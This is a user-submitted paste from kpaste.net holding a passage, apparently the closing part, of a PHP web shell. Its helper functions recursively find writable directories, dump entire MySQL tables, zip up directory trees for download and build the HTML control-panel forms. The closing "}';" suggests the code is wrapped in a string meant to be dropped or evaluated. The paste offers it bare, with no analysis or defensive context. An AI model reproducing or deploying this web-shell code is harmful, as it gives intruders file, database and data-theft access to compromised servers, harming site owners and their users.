  1622.                 return 'Yes';
  1623.         } else {
  1624.                 return $result;
  1625.         }
  1626. }
  1627. // Function name
  1628. function getfun($funName) {
  1629.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
  1630. }
  1631. function GetList($dir){
  1632.         global $dirdata,$j,$nowpath;
  1633.         !$j && $j=1;
  1634.         if ($dh = opendir($dir)) {
  1635.                 while ($file = readdir($dh)) {
  1636.                         $f=str_replace('//','/',$dir.'/'.$file);
  1637.                         if($file!='.' && $file!='..' && is_dir($f)){
  1638.                                 if (is_writable($f)) {
  1639.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  1640.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1641.                                         $dirdata[$j]['dirchmod']=getChmod($f);
  1642.                                         $dirdata[$j]['dirperm']=getPerms($f);
  1643.                                         $dirdata[$j]['dirlink']=ue($dir);
  1644.                                         $dirdata[$j]['server_link']=$f;
  1645.                                         $dirdata[$j]['client_link']=ue($f);
  1646.                                         $j++;
  1647.                                 }
  1648.                                 GetList($f);
  1649.                         }
  1650.                 }
  1651.                 closedir($dh);
  1652.                 clearstatcache();
  1653.                 return $dirdata;
  1654.         } else {
  1655.                 return array();
  1656.         }
  1657. }
  1658. function qy($sql) {
  1659.         //echo $sql.'<br>';
  1660.         $res = $error = '';
  1661.         if(!$res = @mysql_query($sql)) {
  1662.                 return 0;
  1663.         } else if(is_resource($res)) {
  1664.                 return 1;
  1665.         } else {
  1666.                 return 2;
  1667.         }
  1668.         return 0;
  1669. }
  1670. function q($sql) {
  1671.         return @mysql_query($sql);
  1672. }
  1673. function fr($qy){
  1674.         mysql_free_result($qy);
  1675. }
  1676. function sizecount($size) {
  1677.         if($size > 1073741824) {
  1678.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
  1679.         } elseif($size > 1048576) {
  1680.                 $size = round($size / 1048576 * 100) / 100 . ' M';
  1681.         } elseif($size > 1024) {
  1682.                 $size = round($size / 1024 * 100) / 100 . ' K';
  1683.         } else {
  1684.                 $size = $size . ' B';
  1685.         }
  1686.         return $size;
  1687. }
  1688. // Zip
  1689. class PHPZip{
  1690.         var $out='';
  1691.         function PHPZip($dir)   {
  1692.                 if (@function_exists('gzcompress'))     {
  1693.                         $curdir = getcwd();
  1694.                         if (is_array($dir)) $filelist = $dir;
  1695.                         else{
  1696.                                 $filelist=$this -> GetFileList($dir);//File list
  1697.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  1698.                         }
  1699.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  1700.                         else chdir($curdir);
  1701.                         if (count($filelist)>0){
  1702.                                 foreach($filelist as $filename){
  1703.                                         if (is_file($filename)){
  1704.                                                 $fd = fopen ($filename, 'r');
  1705.                                                 $content = @fread ($fd, filesize($filename));
  1706.                                                 fclose ($fd);
  1707.                                                 if (is_array($dir)) $filename = basename($filename);
  1708.                                                 $this -> addFile($content, $filename);
  1709.                                         }
  1710.                                 }
  1711.                                 $this->out = $this -> file();
  1712.                                 chdir($curdir);
  1713.                         }
  1714.                         return 1;
  1715.                 }
  1716.                 else return 0;
  1717.         }
  1718.         // Show file list
  1719.         function GetFileList($dir){
  1720.                 static $a;
  1721.                 if (is_dir($dir)) {
  1722.                         if ($dh = opendir($dir)) {
  1723.                                 while ($file = readdir($dh)) {
  1724.                                         if($file!='.' && $file!='..'){
  1725.                                                 $f=$dir .'/'. $file;
  1726.                                                 if(is_dir($f)) $this->GetFileList($f);
  1727.                                                 $a[]=$f;
  1728.                                         }
  1729.                                 }
  1730.                                 closedir($dh);
  1731.                         }
  1732.                 }
  1733.                 return $a;
  1734.         }
  1735.         var $datasec      = array();
  1736.         var $ctrl_dir     = array();
  1737.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  1738.         var $old_offset   = 0;
  1739.         function unix2DosTime($unixtime = 0) {
  1740.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  1741.                 if ($timearray['year'] < 1980) {
  1742.                         $timearray['year']    = 1980;
  1743.                         $timearray['mon']     = 1;
  1744.                         $timearray['mday']    = 1;
  1745.                         $timearray['hours']   = 0;
  1746.                         $timearray['minutes'] = 0;
  1747.                         $timearray['seconds'] = 0;
  1748.                 } // end if
  1749.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  1750.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  1751.         }
  1752.         function addFile($data, $name, $time = 0) {
  1753.                 $name = str_replace('\\', '/', $name);
  1754.                 $dtime = dechex($this->unix2DosTime($time));
  1755.                 $hexdtime       = '\x' . $dtime[6] . $dtime[7]
  1756.                                         . '\x' . $dtime[4] . $dtime[5]
  1757.                                         . '\x' . $dtime[2] . $dtime[3]
  1758.                                         . '\x' . $dtime[0] . $dtime[1];
  1759.                 eval('$hexdtime = "' . $hexdtime . '";');
  1760.                 $fr     = "\x50\x4b\x03\x04";
  1761.                 $fr     .= "\x14\x00";
  1762.                 $fr     .= "\x00\x00";
  1763.                 $fr     .= "\x08\x00";
  1764.                 $fr     .= $hexdtime;
  1765.                 $unc_len = strlen($data);
  1766.                 $crc = crc32($data);
  1767.                 $zdata = gzcompress($data);
  1768.                 $c_len = strlen($zdata);
  1769.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  1770.                 $fr .= pack('V', $crc);
  1771.                 $fr .= pack('V', $c_len);
  1772.                 $fr .= pack('V', $unc_len);
  1773.                 $fr .= pack('v', strlen($name));
  1774.                 $fr .= pack('v', 0);
  1775.                 $fr .= $name;
  1776.                 $fr .= $zdata;
  1777.                 $fr .= pack('V', $crc);
  1778.                 $fr .= pack('V', $c_len);
  1779.                 $fr .= pack('V', $unc_len);
  1780.                 $this -> datasec[] = $fr;
  1781.                 $new_offset = strlen(implode('', $this->datasec));
  1782.                 $cdrec = "\x50\x4b\x01\x02";
  1783.                 $cdrec .= "\x00\x00";
  1784.                 $cdrec .= "\x14\x00";
  1785.                 $cdrec .= "\x00\x00";
  1786.                 $cdrec .= "\x08\x00";
  1787.                 $cdrec .= $hexdtime;
  1788.                 $cdrec .= pack('V', $crc);
  1789.                 $cdrec .= pack('V', $c_len);
  1790.                 $cdrec .= pack('V', $unc_len);
  1791.                 $cdrec .= pack('v', strlen($name) );
  1792.                 $cdrec .= pack('v', 0 );
  1793.                 $cdrec .= pack('v', 0 );
  1794.                 $cdrec .= pack('v', 0 );
  1795.                 $cdrec .= pack('v', 0 );
  1796.                 $cdrec .= pack('V', 32 );
  1797.                 $cdrec .= pack('V', $this -> old_offset );
  1798.                 $this -> old_offset = $new_offset;
  1799.                 $cdrec .= $name;
  1800.                 $this -> ctrl_dir[] = $cdrec;
  1801.         }
  1802.         function file() {
  1803.                 $data    = implode('', $this -> datasec);
  1804.                 $ctrldir = implode('', $this -> ctrl_dir);
  1805.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  1806.         }
  1807. }
  1808. // Dump mysql
  1809. function sqldumptable($table, $fp=0) {
  1810.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
  1811.         $tabledump .= "CREATE TABLE $table (\n";
  1812.         $firstfield=1;
  1813.         $fields = q("SHOW FIELDS FROM $table");
  1814.         while ($field = mysql_fetch_array($fields)) {
  1815.                 if (!$firstfield) {
  1816.                         $tabledump .= ",\n";
  1817.                 } else {
  1818.                         $firstfield=0;
  1819.                 }
  1820.                 $tabledump .= "   $field[Field] $field[Type]";
  1821.                 if (!empty($field["Default"])) {
  1822.                         $tabledump .= " DEFAULT '$field[Default]'";
  1823.                 }
  1824.                 if ($field['Null'] != "YES") {
  1825.                         $tabledump .= " NOT NULL";
  1826.                 }
  1827.                 if ($field['Extra'] != "") {
  1828.                         $tabledump .= " $field[Extra]";
  1829.                 }
  1830.         }
  1831.         fr($fields);
  1832.         $keys = q("SHOW KEYS FROM $table");
  1833.         while ($key = mysql_fetch_array($keys)) {
  1834.                 $kname=$key['Key_name'];
  1835.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  1836.                         $kname="UNIQUE|$kname";
  1837.                 }
  1838.                 if(!is_array($index[$kname])) {
  1839.                         $index[$kname] = array();
  1840.                 }
  1841.                 $index[$kname][] = $key['Column_name'];
  1842.         }
  1843.         fr($keys);
  1844.         while(list($kname, $columns) = @each($index)) {
  1845.                 $tabledump .= ",\n";
  1846.                 $colnames=implode($columns,",");
  1847.                 if ($kname == "PRIMARY") {
  1848.                         $tabledump .= "   PRIMARY KEY ($colnames)";
  1849.                 } else {
  1850.                         if (substr($kname,0,6) == "UNIQUE") {
  1851.                                 $kname=substr($kname,7);
  1852.                         }
  1853.                         $tabledump .= "   KEY $kname ($colnames)";
  1854.                 }
  1855.         }
  1856.         $tabledump .= "\n);\n\n";
  1857.         if ($fp) {
  1858.                 fwrite($fp,$tabledump);
  1859.         } else {
  1860.                 echo $tabledump;
  1861.         }
  1862.         $rows = q("SELECT * FROM $table");
  1863.         $numfields = mysql_num_fields($rows);
  1864.         while ($row = mysql_fetch_array($rows)) {
  1865.                 $tabledump = "INSERT INTO $table VALUES(";
  1866.                 $fieldcounter=-1;
  1867.                 $firstfield=1;
  1868.                 while (++$fieldcounter<$numfields) {
  1869.                         if (!$firstfield) {
  1870.                                 $tabledump.=", ";
  1871.                         } else {
  1872.                                 $firstfield=0;
  1873.                         }
  1874.                         if (!isset($row[$fieldcounter])) {
  1875.                                 $tabledump .= "NULL";
  1876.                         } else {
  1877.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  1878.                         }
  1879.                 }
  1880.                 $tabledump .= ");\n";
  1881.                 if ($fp) {
  1882.                         fwrite($fp,$tabledump);
  1883.                 } else {
  1884.                         echo $tabledump;
  1885.                 }
  1886.         }
  1887.         fr($rows);
  1888.         if ($fp) {
  1889.                 fwrite($fp,"\n");
  1890.         } else {
  1891.                 echo "\n";
  1892.         }
  1893. }
  1894. function ue($str){
  1895.         return urlencode($str);
  1896. }
  1897. function p($str){
  1898.         echo $str."\n";
  1899. }
  1900. function tbhead() {
  1901.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  1902. }
  1903. function tbfoot(){
  1904.         p('</table>');
  1905. }
  1906. function makehide($name,$value=''){
  1907.         p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  1908. }
  1909. function makeinput($arg = array()){
  1910.         $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  1911.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  1912.         !$arg['type'] && $arg['type'] = 'text';
  1913.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  1914.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  1915.         if ($arg['newline']) {
  1916.                 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  1917.         } else {
  1918.                 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  1919.         }
  1920. }
  1921. function makeselect($arg = array()){
  1922.         if ($arg['onchange']) {
  1923.                 $onchange = 'onchange="'.$arg['onchange'].'"';
  1924.         }
  1925.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
  1926.         if ($arg['newline']) p('<p>');
  1927.         p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  1928.                 if (is_array($arg['option'])) {
  1929.                         foreach ($arg['option'] as $key=>$value) {
  1930.                                 if ($arg['selected']==$key) {
  1931.                                         p("<option value=\"$key\" selected>$value</option>");
  1932.                                 } else {
  1933.                                         p("<option value=\"$key\">$value</option>");
  1934.                                 }
  1935.                         }
  1936.                 }
  1937.         p("</select>");
  1938.         if ($arg['newline']) p('</p>');
  1939. }
  1940. function formhead($arg = array()) {
  1941.         !$arg['method'] && $arg['method'] = 'post';
  1942.         !$arg['action'] && $arg['action'] = $self;
  1943.         $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  1944.         !$arg['name'] && $arg['name'] = 'form1';
  1945.         p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  1946.         if ($arg['title']) {
  1947.                 p('<h2>'.$arg['title'].' &raquo;</h2>');
  1948.         }
  1949. }
  1950. function maketext($arg = array()){
  1951.         !$arg['cols'] && $arg['cols'] = 100;
  1952.         !$arg['rows'] && $arg['rows'] = 25;
  1953.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  1954.         p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  1955. }
  1956. function formfooter($name = ''){
  1957.         !$name && $name = 'submit';
  1958.         p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  1959.         p('</form>');
  1960. }
  1961. function formfoot(){
  1962.         p('</form>');
  1963. }
  1964. // Exit
  1965. function pr($a) {
  1966.         echo '<pre>';
  1967.         print_r($a);
  1968.         echo '</pre>';
  1969. }';
  1970. ?>

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with {%HIGHLIGHT}




All content is user-submitted.
The administrators of this site (kpaste.net) are not responsible for their content.
Abuse reports should be emailed to us at